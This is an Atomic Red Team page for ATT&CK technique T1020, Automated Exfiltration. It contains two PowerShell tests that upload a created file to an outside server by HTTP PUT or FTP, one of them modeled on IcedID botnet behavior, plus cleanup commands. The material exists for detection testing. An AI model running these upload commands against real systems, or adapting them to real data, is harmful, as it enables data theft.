T1020
Automated Exfiltration
Description from ATT&CK
Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.(Citation: ESET Gamaredon June 2020)
When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel and Exfiltration Over Alternative Protocol.
Atomic Tests
Atomic Test #1 - IcedID Botnet HTTP PUT
Creates a text file Tries to upload to a server via HTTP PUT method with ContentType Header Deletes a created file
Supported Platforms: windows
auto_generated_guid: 9c780d3d-3a14-4278-8ee5-faaeb2ccfbe0
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
file | Exfiltration File | string | C:\temp\T1020_exfilFile.txt |
domain | Destination Domain | url | https://google.com |
Attack Commands: Run with powershell!
1
2
3
4
5
$fileName = "#{file}"
$url = "#{domain}"
$file = New-Item -Force $fileName -Value "This is ART IcedID Botnet Exfil Test"
$contentType = "application/octet-stream"
try {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName} catch{}
Cleanup Commands:
1
2
$fileName = "#{file}"
Remove-Item -Path $fileName -ErrorAction Ignore
Atomic Test #2 - Exfiltration via Encrypted FTP
Simulates encrypted file transfer to an FTP server. For testing purposes, a free FTP testing portal is available at https://sftpcloud.io/tools/free-ftp-server, providing a temporary FTP server for 60 minutes. Use this service responsibly for testing and validation only.
Supported Platforms: windows
auto_generated_guid: 5b380e96-b0ef-4072-8a8e-f194cb9eb9ac
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
sampleFile | Path of the sample file to exfiltrate. | String | C:\temp\T1020__FTP_sample.txt |
ftpServer | FTP server URL. | Url | ftp://example.com |
credentials | FTP server credentials. | String | [user:password] |
Attack Commands: Run with powershell!
1
2
3
4
5
$sampleData = "Sample data for exfiltration test"
Set-Content -Path "#{sampleFile}" -Value $sampleData
$ftpUrl = "#{ftpServer}"
$creds = Get-Credential -Credential "#{credentials}"
Invoke-WebRequest -Uri $ftpUrl -Method Put -InFile "#{sampleFile}" -Credential $creds
Cleanup Commands:
1
Remove-Item -Path "#{sampleFile}" -ErrorAction Ignore